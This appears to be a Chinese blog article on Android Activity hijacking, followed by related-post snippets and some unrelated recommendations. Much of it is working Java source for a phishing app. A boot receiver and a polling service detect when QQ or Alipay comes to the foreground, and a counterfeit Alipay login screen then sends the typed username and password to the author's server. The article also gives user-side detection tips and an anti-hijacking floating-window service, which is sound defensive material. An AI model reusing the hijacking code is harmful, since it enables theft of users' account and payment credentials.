activity劫持反劫持

安卓Activity劫持与反劫持 安卓Activity劫持与反劫持 0x00前言 近日,挪威一家APP安全公司Promon发现并报道了一个特性漏洞已经被多个恶意应用利用的分析报告,他们通过监测发现该漏洞使恶意软件可以伪装成任何合法的应用程序,从而使黑客可以访问私人短信和照片,窃取受害者的登录凭据,跟踪位置或记录电话对话,甚至可以通过手机摄像头和麦克风进行监视。 研究人员将该漏洞命名为StrandHogg,这是北欧人的一种北欧海盗... 阅读详情

1、Activity调度机制

android为了提高用户的用户体验,对于不同的应用程序之间的切换,基本上是无缝。他们切换的只是一个activity,让切换的到前台显示,另一个应用则被覆盖到后台,不可见。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。 当AmS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。 

2、Android设计上的缺陷——Activity劫持 

如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。 
但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢? 
在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。 

 一个运行在后台的服务可以做到如下两点:1,决定哪一个activity运行在前台  2,运行自己app的activity到前台。

 这样,恶意的开发者就可以对应程序进行攻击了,对于有登陆界面的应用程序,他们可以伪造一个一模一样的界面,普通用户根本无法识别是真的还是假。用户输入用户名和密码之后,恶意程序就可以悄无声息的把用户信息上传到服务器了。这样是非常危险的。


实现原理:如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证。




3、示例 
下面是示例代码。 
AndroidManifest.xml文件的代码。

[html]  view plain  copy
  1. <?xml version="1.0" encoding="utf-8"?>  
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"  
  3.     package="com.sinaapp.msdxblog.android.activityhijacking"  
  4.     android:versionCode="1"  
  5.     android:versionName="1.0" >  
  6.   
  7.     <uses-sdk android:minSdkVersion="4" />  
  8.   
  9.     <uses-permission android:name="android.permission.INTERNET" />  
  10.     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />  
  11.   
  12.     <application  
  13.         android:name=".HijackingApplication"  
  14.         android:icon="@drawable/icon"  
  15.         android:label="@string/app_name" >  
  16.         <activity  
  17.             android:name=".activity.HijackingActivity"  
  18.             android:theme="@style/transparent"  
  19.             android:label="@string/app_name" >  
  20.             <intent-filter>  
  21.                 <action android:name="android.intent.action.MAIN" />  
  22.   
  23.                 <category android:name="android.intent.category.LAUNCHER" />  
  24.             </intent-filter>  
  25.         </activity>  
  26.         <activity android:name=".activity.sadstories.JokeActivity" />  
  27.         <activity android:name=".activity.sadstories.QQStoryActivity" />  
  28.         <activity android:name=".activity.sadstories.AlipayStoryActivity" />  
  29.   
  30.         <receiver  
  31.             android:name=".receiver.HijackingReceiver"  
  32.             android:enabled="true"  
  33.             android:exported="true" >  
  34.             <intent-filter>  
  35.                 <action android:name="android.intent.action.BOOT_COMPLETED" />  
  36.             </intent-filter>  
  37.         </receiver>  
  38.   
  39.         <service android:name=".service.HijackingService" >  
  40.         </service>  
  41.     </application>  
  42.   
  43. </manifest>  

在以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开机启动的权限的这一行代码 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。 

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。 
 
[javascript]  view plain  copy
  1. package com.sinaapp.msdxblog.android.activityhijacking.activity;  
  2.   
  3. import android.app.Activity;  
  4. import android.content.Intent;  
  5. import android.os.Bundle;  
  6. import android.util.Log;  
  7.   
  8. import com.sinaapp.msdxblog.android.activityhijacking.R;  
  9. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;  
  10.   
  11. public class HijackingActivity extends Activity {  
  12.     /** Called when the activity is first created. */  
  13.     @Override  
  14.     public void onCreate(Bundle savedInstanceState) {  
  15.         super.onCreate(savedInstanceState);  
  16.         setContentView(R.layout.main);  
  17.         Intent intent2 = new Intent(this, HijackingService.class);  
  18.         startService(intent2);  
  19.         Log.w("hijacking", "activity启动用来劫持的Service");  
  20.     }  
  21. }  

如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。

[java]  view plain  copy
  1. /* 
  2.  * @(#)HijackingBroadcast.java             Project:ActivityHijackingDemo 
  3.  * Date:2012-6-7 
  4.  * 
  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  
  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 
  7.  * All rights reserved. 
  8.  * 
  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 
  10.  *  you may not use this file except in compliance with the License. 
  11.  * You may obtain a copy of the License at 
  12.  * 
  13.  *     http://www.apache.org/licenses/LICENSE-2.0 
  14.  * 
  15.  * Unless required by applicable law or agreed to in writing, software 
  16.  * distributed under the License is distributed on an "AS IS" BASIS, 
  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
  18.  * See the License for the specific language governing permissions and 
  19.  * limitations under the License. 
  20.  */  
  21. package com.sinaapp.msdxblog.android.activityhijacking.receiver;  
  22.   
  23. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;  
  24.   
  25. import android.content.BroadcastReceiver;  
  26. import android.content.Context;  
  27. import android.content.Intent;  
  28. import android.util.Log;  
  29.   
  30. /** 
  31.  * @author Geek_Soledad (66704238@51uc.com) 
  32.  */  
  33. public class HijackingReceiver extends BroadcastReceiver {  
  34.   
  35.     @Override  
  36.     public void onReceive(Context context, Intent intent) {  
  37.         if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {  
  38.             Log.w("hijacking", "开机启动");  
  39.             Intent intent2 = new Intent(context, HijackingService.class);  
  40.             context.startService(intent2);  
  41.             Log.w("hijacking", "启动用来劫持的Service");  
  42.         }  
  43.     }  
  44. }  

下面这个HijackingService类可就关键了,即用来进行Activity劫持的。 
在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。 
代码如下:

[java]  view plain  copy
  1. /* 
  2.  * @(#)HijackingService.java               Project:ActivityHijackingDemo 
  3.  * Date:2012-6-7 
  4.  * 
  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  
  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 
  7.  * All rights reserved. 
  8.  * 
  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 
  10.  *  you may not use this file except in compliance with the License. 
  11.  * You may obtain a copy of the License at 
  12.  * 
  13.  *     http://www.apache.org/licenses/LICENSE-2.0 
  14.  * 
  15.  * Unless required by applicable law or agreed to in writing, software 
  16.  * distributed under the License is distributed on an "AS IS" BASIS, 
  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
  18.  * See the License for the specific language governing permissions and 
  19.  * limitations under the License. 
  20.  */  
  21. package com.sinaapp.msdxblog.android.activityhijacking.service;  
  22.   
  23. import java.util.HashMap;  
  24. import java.util.List;  
  25.   
  26. import android.app.ActivityManager;  
  27. import android.app.ActivityManager.RunningAppProcessInfo;  
  28. import android.app.Service;  
  29. import android.content.Context;  
  30. import android.content.Intent;  
  31. import android.os.Handler;  
  32. import android.os.IBinder;  
  33. import android.util.Log;  
  34.   
  35. import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;  
  36. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;  
  37. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;  
  38. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;  
  39.   
  40. /** 
  41.  * @author Geek_Soledad (66704238@51uc.com) 
  42.  */  
  43. public class HijackingService extends Service {  
  44.     private boolean hasStart = false;  
  45.     // 这是一个悲伤的故事……  
  46.     HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();  
  47.   
  48.     // Timer mTimer = new Timer();  
  49.     Handler handler = new Handler();  
  50.   
  51.     Runnable mTask = new Runnable() {  
  52.   
  53.         @Override  
  54.         public void run() {  
  55.             ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);  
  56.             List<RunningAppProcessInfo> appProcessInfos = activityManager  
  57.                     .getRunningAppProcesses();  
  58.             // 枚举进程  
  59.             Log.w("hijacking", "正在枚举进程");  
  60.             for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {  
  61.                 // 如果APP在前台,那么——悲伤的故事就要来了  
  62.                 if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {  
  63.                     if (mSadStories.containsKey(appProcessInfo.processName)) {  
  64.                         // 进行劫持  
  65.                         hijacking(appProcessInfo.processName);  
  66.                     } else {  
  67.                          Log.w("hijacking", appProcessInfo.processName);  
  68.                     }  
  69.                 }  
  70.             }  
  71.             handler.postDelayed(mTask, 1000);  
  72.         }  
  73.   
  74.         /** 
  75.          * 进行劫持 
  76.          * @param processName 
  77.          */  
  78.         private void hijacking(String processName) {  
  79.             Log.w("hijacking", "有程序要悲剧了……");  
  80.             if (((HijackingApplication) getApplication())  
  81.                     .hasProgressBeHijacked(processName) == false) {  
  82.                 Log.w("hijacking", "悲剧正在发生");  
  83.                 Intent jackingIsComing = new Intent(getBaseContext(),  
  84.                         mSadStories.get(processName));  
  85.                 jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
  86.                 getApplication().startActivity(jackingIsComing);  
  87.                 ((HijackingApplication) getApplication())  
  88.                         .addProgressHijacked(processName);  
  89.                 Log.w("hijacking", "已经劫持");  
  90.             }  
  91.         }  
  92.     };  
  93.   
  94.     @Override  
  95.     public IBinder onBind(Intent intent) {  
  96.         return null;  
  97.     }  
  98.   
  99.     @Override  
  100.     public void onStart(Intent intent, int startId) {  
  101.         super.onStart(intent, startId);  
  102.         if (!hasStart) {  
  103.             mSadStories.put("com.sinaapp.msdxblog.android.lol",  
  104.                     JokeActivity.class);  
  105.             mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);  
  106.             mSadStories.put("com.eg.android.AlipayGphone",  
  107.                     AlipayStoryActivity.class);  
  108.             handler.postDelayed(mTask, 1000);  
  109.             hasStart = true;  
  110.         }  
  111.     }  
  112.   
  113.     @Override  
  114.     public boolean stopService(Intent name) {  
  115.         hasStart = false;  
  116.         Log.w("hijacking", "劫持服务停止");  
  117.         ((HijackingApplication) getApplication()).clearProgressHijacked();  
  118.         return super.stopService(name);  
  119.     }  
  120. }  

下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。

[java]  view plain  copy
  1. /* 
  2.  * @(#)QQStoryActivity.java            Project:ActivityHijackingDemo 
  3.  * Date:2012-6-7 
  4.  * 
  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  
  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 
  7.  * All rights reserved. 
  8.  * 
  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 
  10.  *  you may not use this file except in compliance with the License. 
  11.  * You may obtain a copy of the License at 
  12.  * 
  13.  *     http://www.apache.org/licenses/LICENSE-2.0 
  14.  * 
  15.  * Unless required by applicable law or agreed to in writing, software 
  16.  * distributed under the License is distributed on an "AS IS" BASIS, 
  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
  18.  * See the License for the specific language governing permissions and 
  19.  * limitations under the License. 
  20.  */  
  21. package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;  
  22.   
  23. import android.app.Activity;  
  24. import android.os.Bundle;  
  25. import android.os.Handler;  
  26. import android.os.HandlerThread;  
  27. import android.text.Html;  
  28. import android.view.View;  
  29. import android.widget.Button;  
  30. import android.widget.EditText;  
  31. import android.widget.TextView;  
  32.   
  33. import com.sinaapp.msdxblog.android.activityhijacking.R;  
  34. import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;  
  35.   
  36. /** 
  37.  * @author Geek_Soledad (66704238@51uc.com) 
  38.  */  
  39. public class AlipayStoryActivity extends Activity {  
  40.     private EditText name;  
  41.     private EditText password;  
  42.     private Button mBtAlipay;  
  43.     private Button mBtTaobao;  
  44.     private Button mBtRegister;  
  45.   
  46.     private TextView mTvFindpswd;  
  47.   
  48.     @Override  
  49.     protected void onCreate(Bundle savedInstanceState) {  
  50.         super.onCreate(savedInstanceState);  
  51.         this.setTheme(android.R.style.Theme_NoTitleBar);  
  52.         setContentView(R.layout.alipay);  
  53.         mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);  
  54.         mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);  
  55.         mBtRegister = (Button) findViewById(R.id.alipay_bt_register);  
  56.         mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);  
  57.         mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));  
  58.         mBtAlipay.setSelected(true);  
  59.   
  60.         name = (EditText) findViewById(R.id.input_name);  
  61.         password = (EditText) findViewById(R.id.input_password);  
  62.   
  63.     }  
  64.   
  65.     public void onButtonClicked(View v) {  
  66.         switch (v.getId()) {  
  67.         case R.id.alipay_bt_login:  
  68.             HandlerThread handlerThread = new HandlerThread("send");  
  69.             handlerThread.start();  
  70.             new Handler(handlerThread.getLooper()).post(new Runnable() {  
  71.                 @Override  
  72.                 public void run() {  
  73.                     // 发送获取到的用户密码  
  74.                     SendUtil.sendInfo(name.getText().toString(), password  
  75.                             .getText().toString(), "支付宝");  
  76.                 }  
  77.             });  
  78.             moveTaskToBack(true);  
  79.   
  80.             break;  
  81.         case R.id.alipay_bt_alipay:  
  82.             chooseToAlipay();  
  83.             break;  
  84.         case R.id.alipay_bt_taobao:  
  85.             chooseToTaobao();  
  86.             break;  
  87.         default:  
  88.             break;  
  89.         }  
  90.     }  
  91.   
  92.     private void chooseToAlipay() {  
  93.         mBtAlipay.setSelected(true);  
  94.         mBtTaobao.setSelected(false);  
  95.         name.setHint(R.string.alipay_name_alipay_hint);  
  96.         mTvFindpswd.setVisibility(View.VISIBLE);  
  97.         mBtRegister.setVisibility(View.VISIBLE);  
  98.     }  
  99.   
  100.     private void chooseToTaobao() {  
  101.         mBtAlipay.setSelected(false);  
  102.         mBtTaobao.setSelected(true);  
  103.         name.setHint(R.string.alipay_name_taobao_hint);  
  104.         mTvFindpswd.setVisibility(View.GONE);  
  105.         mBtRegister.setVisibility(View.GONE);  
  106.     }  
  107. }  

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。 
至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。 

下面是我在学校时用来演示的PPT及APK。 

演示文档和APK

4、用户防范 
android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务 对于我所用的HTC G14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务,就可以知道这个登录界面是来源于哪个程序了。 
如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。 

而且这种方法也不是绝对的  可以在AndroidManifest中相应activity下添加android:noHistory="true"这样就不会把伪装界面显示在最近任务中


5、反劫持

然而,如果真的爆发了这种恶意程序,我们并不能在启动程序时每一次都那么小心去查看判断当前在运行的是哪一个程序,当android:noHistory="true"时上面的方法也无效   因此,前几个星期花了一点时间写了一个程序,叫反劫持助手。原理很简单,就是获取当前运行的是哪一个程序,并且显示在一个浮动窗口中,以帮忙用户判断当前运行的是哪一个程序,防范一些钓鱼程序的欺骗。

在这一次,由于是“正当防卫”,就不再通过枚举来获取当前运行的程序了,在manifest文件中增加一个权限: 

android权限

[html]  view plain  copy
  1. <uses-permission android:name="android.permission.GET_TASKS" />  
然后启动程序的时候,启动一个Service,在Service中启动一个浮动窗口,并周期性检测当前运行的是哪一个程序,然后显示在浮动窗口中。 
程序截图如下: 



其中Service代码如下:

[java]  view plain  copy
  1. /* 
  2.  * @(#)AntiService.java            Project:ActivityHijackingDemo 
  3.  * Date:2012-9-13 
  4.  * 
  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  
  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 
  7.  * All rights reserved. 
  8.  * 
  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 
  10.  *  you may not use this file except in compliance with the License. 
  11.  * You may obtain a copy of the License at 
  12.  * 
  13.  *     http://www.apache.org/licenses/LICENSE-2.0 
  14.  * 
  15.  * Unless required by applicable law or agreed to in writing, software 
  16.  * distributed under the License is distributed on an "AS IS" BASIS, 
  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
  18.  * See the License for the specific language governing permissions and 
  19.  * limitations under the License. 
  20.  */  
  21. package com.sinaapp.msdxblog.antihijacking.service;  
  22.   
  23. import android.app.ActivityManager;  
  24. import android.app.Notification;  
  25. import android.app.Service;  
  26. import android.content.Context;  
  27. import android.content.Intent;  
  28. import android.content.pm.PackageManager;  
  29. import android.content.pm.PackageManager.NameNotFoundException;  
  30. import android.os.Bundle;  
  31. import android.os.Handler;  
  32. import android.os.IBinder;  
  33. import android.os.Message;  
  34. import android.util.Log;  
  35.   
  36. import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory;  
  37. import com.sinaapp.msdxblog.antihijacking.AntiConstants;  
  38. import com.sinaapp.msdxblog.antihijacking.view.AntiView;  
  39.   
  40. /** 
  41.  * @author Geek_Soledad (66704238@51uc.com) 
  42.  */  
  43. public class AntiService extends Service {  
  44.   
  45.     private boolean shouldLoop = false;  
  46.     private Handler handler;  
  47.     private ActivityManager am;  
  48.     private PackageManager pm;  
  49.     private Handler mainHandler;  
  50.     private AntiView mAntiView;  
  51.     private int circle = 2000;  
  52.   
  53.     @Override  
  54.     public IBinder onBind(Intent intent) {  
  55.         return null;  
  56.     }  
  57.   
  58.     @Override  
  59.     public void onStart(Intent intent, int startId) {  
  60.         super.onStart(intent, startId);  
  61.         startForeground(19901008, new Notification());  
  62.         if (intent != null) {  
  63.              circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000);  
  64.         }   
  65.         Log.i("circle", circle + "ms");  
  66.         if (true == shouldLoop) {  
  67.             return;  
  68.         }  
  69.         mAntiView = new AntiView(this);  
  70.         mainHandler = new Handler() {  
  71.             public void handleMessage(Message msg) {  
  72.                 String name = msg.getData().getString("name");  
  73.                 mAntiView.setText(name);  
  74.             };  
  75.         };  
  76.         pm = getPackageManager();  
  77.         shouldLoop = true;  
  78.         am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);  
  79.         handler = new Handler(  
  80.                 HandlerFactory.getHandlerLooperInOtherThread("anti")) {  
  81.             @Override  
  82.             public void handleMessage(Message msg) {  
  83.                 super.handleMessage(msg);  
  84.                 String packageName = am.getRunningTasks(1).get(0).topActivity  
  85.                         .getPackageName();  
  86.                 try {  
  87.                     String progressName = pm.getApplicationLabel(  
  88.                             pm.getApplicationInfo(packageName,  
  89.                                     PackageManager.GET_META_DATA)).toString();  
  90.                     updateText(progressName);  
  91.                 } catch (NameNotFoundException e) {  
  92.                     e.printStackTrace();  
  93.                 }  
  94.   
  95.                 if (shouldLoop) {  
  96.                     handler.sendEmptyMessageDelayed(0, circle);  
  97.                 }  
  98.             }  
  99.         };  
  100.         handler.sendEmptyMessage(0);  
  101.     }  
  102.   
  103.     private void updateText(String name) {  
  104.         Message message = new Message();  
  105.         Bundle data = new Bundle();  
  106.         data.putString("name", name);  
  107.         message.setData(data);  
  108.         mainHandler.sendMessage(message);  
  109.     }  
  110.   
  111.     @Override  
  112.     public void onDestroy() {  
  113.         shouldLoop = false;  
  114.         mAntiView.remove();  
  115.         super.onDestroy();  
  116.     }  
  117.   
  118. }  

浮动窗口仅为一个简单的textview,非此次的技术重点,在这里省略不讲。 
当然,从以上代码也可以看出本程序只能防范通过Activity作为钓鱼界面的程序,因为它是通过运行的顶层的Activity来获取程序名称的,对WooYun最近提到的另一个钓鱼方法它还是无能为力的,关于这一点将在下次谈
Android-Activity劫持 Android-Acitivity劫持由于Android的设计缺陷,当我们为Activity指定标志位FLAG_ ACTIVITY_ NEW_ TASK时,就能使Activity置于栈顶,并呈现给用户。当然利用这个缺陷可以做很多羞羞的事情 【==】可以劫持用户信息,可以无限弹框(-。-;)等等ect.今天我们来实现Activity劫持的代码:1.通过遍历所有的进程,得到当前前台正在运行的应用进程2. 阅读详情

相关推荐

Android安全:防范Activity劫持的有效措施

本文将介绍一种有效的防范Activity劫持的程序,并提供相应的源代码示例。Activity劫持是Android应用程序面临的一种常见安全威胁,攻击者通过篡改Activity的启动流程,将用户重定向到恶意页面或执行其他恶意行为。本文将介绍一种有效的防范Activity劫持的程序,并提供相应的源代码示例。然而,安全是一个不断演变的领域,开发人员仍然需要保持对新的安全威胁和漏洞的关注,并及时采取相应的措施应对。然而,安全是一个持续的过程,开发人员仍然需要密切关注新的安全威胁和漏洞,并及时采取相应的措施来应对。

PixelShadeZ的博客 817

Android之Activity界面劫持反劫持

总结: Activity劫持原理1、注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开机启动一个service;这个service,会启动一个计时器,不停循环查询所有当前运行的进程(因为app可以枚举系统当前运行进程而无需声明其他权限) 2、一旦发现当前某一进程的Activity正是我们想要劫持的,并运行在前台,我们立马使用FLAG_A...

LVXIANGAN的专栏 2万+

[车联网安全自学篇] ATTACK安全之Android Activity劫持检测与防护

Android 界面劫持是指在Android系统中,恶意软件通过监控目标软件的运行,当检测到当前运行界面为某个被监控应用的特定界面时(一般为登录或支付界面),弹出伪造的钓鱼页面,从而诱导用户输入信息,最终窃取用户的隐私(恶意盗取用户账号、卡号、密码等信息),或者利用假冒界面进行钓鱼欺诈目前,还没有什么专门针对Activity劫持的防护方法,因为,这种攻击是用户层面上的,目前还无法从代码层面上根除。

橙留香Park的博客 2937

微信登录界面安卓代码_安卓Activity劫持与反劫持

00前言近日,挪威一家APP安全公司Promon发现并报道了一个特性漏洞已经被多个恶意应用利用的分析报告,他们通过监测发现该漏洞使恶意软件可以伪装成任何合法的应用程序,从而使黑客可以访问私人短信和照片,窃取受害者的登录凭据,跟踪位置或记录电话对话,甚至可以通过手机摄像头和麦克风进行监视。研究人员将该漏洞命名为StrandHogg,这是北欧人的一种北欧海盗战术,袭击沿海地区掠夺并扣除押金。据统计目前...

weixin_39621860的博客 562

activity劫持

activity劫持演示文档和apk

Activity_Hijack.apk

用途:该工具主要用于APP劫持检测。 使用方法:安装HijackActivity.apk,使用 activity 界面劫持工具,在工具中指定要劫持的应用进程名称。如图所示,从列表中选择被测试的应用,点击 OK。打开应用,测试工具会尝试用自己的窗口覆盖被测的应用,如果劫持成功,会出现如下界面。 威胁等级:若客户端无法抵抗 Activity 界面劫持攻击时为中风险;若可以抵抗攻击则无风险。 安全建议:Activity劫持通常依靠注册Receiver响应android.intent.action.BOOT_COMPLETED事件。客户端程序可以在启动前检查Receiver并报警;由于Activity界面劫持攻击通常是将自己的页面附着在客户端之上,因此需要进行界面切换操作,因此在界面切换到后台时弹出警告信息也可以达到一定的效果。除此之外,因为Android进程栈的工作原理,建议开发客户端时针对进程栈进行相应的保护,可禁止其他进程放置于客户端之上。

Android 界面防劫持

https://dun.163.com/news/p/47d0c43eb1854bae91872edc656dbd9e https://www.jianshu.com/p/d4677e837648

xyyh6600的博客 2246

利用HTML+CSS设计PPT:html-to-pptx实现自动化转换与可编辑输出

在办公自动化和前端开发领域,将网页技术应用于文档生成是一个重要的技术方向。其核心原理在于通过解析HTML/CSS的结构与样式,将其映射为目标文档的原生对象模型。这项技术的价值在于,它能够将Web技术栈强大的布局与样式能力(如Flexbox、CSS Grid)与办公软件(如Microsoft PowerPoint)的广泛兼容性和可编辑性相结合。在实际应用场景中,这种技术特别适合需要快速生成兼具设计感与实用性的演示文稿,例如数据报告、产品发布和营销材料。本文探讨的html-to-pptx项目正是这一思路的工程实

weixin_30652491的博客 486

android程序劫持持程序,大谈android安全2——Activity劫持的防范程序

上篇在里面介绍了由于Android设计上的缺陷而导致的钓鱼漏洞,并且也在文末介绍了用户防范的方法。然而,如果真的爆发了这种恶意程序,我们并不能在启动程序时每一次都那么小心去查看判断当前在运行的是哪一个程序。因此,前几个星期花了一点时间写了一个程序,叫反劫持助手。原理很简单,就是获取当前运行的是哪一个程序,并且显示在一个浮动窗口中,以帮忙用户判断当前运行的是哪一个程序,防范一些钓鱼程序的欺骗。在这一...

weixin_36312811的博客 269

【嵌入式】树莓派部署NCNN的YOLOv5模型

树莓派部署NCNN框架的YOLOv5模型

Ace_Spade的博客 3782

【DexGraspNet与多指手抓取算法详解】第三章 DexGraspNet数据集构建机理

抓取姿态描述多指手与物体的相对空间关系,包含手掌位姿与手指关节配置。

VectorShift的博客 497

android安全——Activity劫持的防范程序

android安全——Activity劫持的防范程序

记事本 2401

番外篇 | 复现HIC-YOLOv5,助力小目标物体的检测

在本文中提出了一种改进的YOLOv5算法:HIC-YOLOv5,用于小目标检测,具有更好的性能和较低的计算成本。🌈

小哥谈 1129

大谈android安全2——Activity劫持的防范程序

本文原创,转载请注明出处: http://maosidiaoxian.iteye.com/blog/1683990 在上个月我曾发了一篇Activity劫持与用户防范的文章(http://maosidiaoxian.iteye.com/blog/1623016),在里面介绍了由于Android设计上的缺陷而导致的钓鱼漏洞,并且也在文末介绍了用户防范的方法(原创)。 然而,如果真的爆发了这...

一个码农的博客 241

CloudCompare 和 PCL:点云网格化分析与处理

点云网格化是将点云数据转化为规则网格的过程,其主要思想是将离散的点云投影到一个平面上,然后对该平面进行划分,形成一系列小区域。在点云网格化方面,PCL 提供了各种算法和工具,可以实现高效的点云网格化操作。以上示例代码中,首先加载了输入的点云数据,然后通过设置合适的网格化算法参数,如搜索半径和最大三角形边长等,执行了网格化操作,最后将网格化结果保存到输出文件中。以上示例代码中,首先加载了输入的点云数据,然后通过设置合适的网格化参数,如分辨率等,执行了网格化操作,最后将网格化结果保存到输出文件中。

TechPulseZ的博客 1291

多物理场光学仿真软件:Lumerical_(15).多物理场耦合仿真案例分析

在多物理场光学仿真中,Lumerical 软件提供了强大的工具来模拟复杂的光学系统,包括光子学、热学、力学和电学等多物理场的耦合。本节将通过具体的案例分析,展示如何在 Lumerical 中进行多物理场耦合仿真的开发和实现。我们将从简单的热光效应仿真入手,逐步深入到更复杂的多物理场耦合场景,如光电效应和光力学效应。每个案例都将包括详细的原理说明和具体的代码示例,帮助读者更好地理解和应用这些技术。

kkchenjj的博客 1022

activity劫持学习与复现

前言 activity劫持是指当程序运行时,恶意程序检测到前台运行的正是想要劫持的程序,于是立即启动自己的活动,伪造一个一模一样的登录界面并立马呈现给用户,普通用户无法识别这个页面的真实性,于是恶意程序就可以获取到用户输入的敏感信息并上传到自己的服务器。 activity劫持原理 1、在启动activity的时候,加入标志位FLAG_ACTIVITY_NEW_TA

九天 5066

支付宝h5参数如何实现跳转?(包含相关Demo代码)

🏆本文收录于专栏,主要记录项目实战过程中所遇到的Bug或因后果及提供真实有效的解决方案,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家!持续更新中,up!up!up!!

**My Coding Family** 3247

Android 安全之 Activity 劫持防护

文本讲解 Android 中 Activity 劫持防护的具体方法,公司开发的的项目在安全检查中出现 Activity 被劫持的问题。在网上有很多关于 Activity 劫持防护方式实践...

Android技术之家 1349

【AI智能体】Codex 插件从使用到项目开发实战操作详解

Codex 插件从使用到项目开发实战操作详解

congge 7636

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) 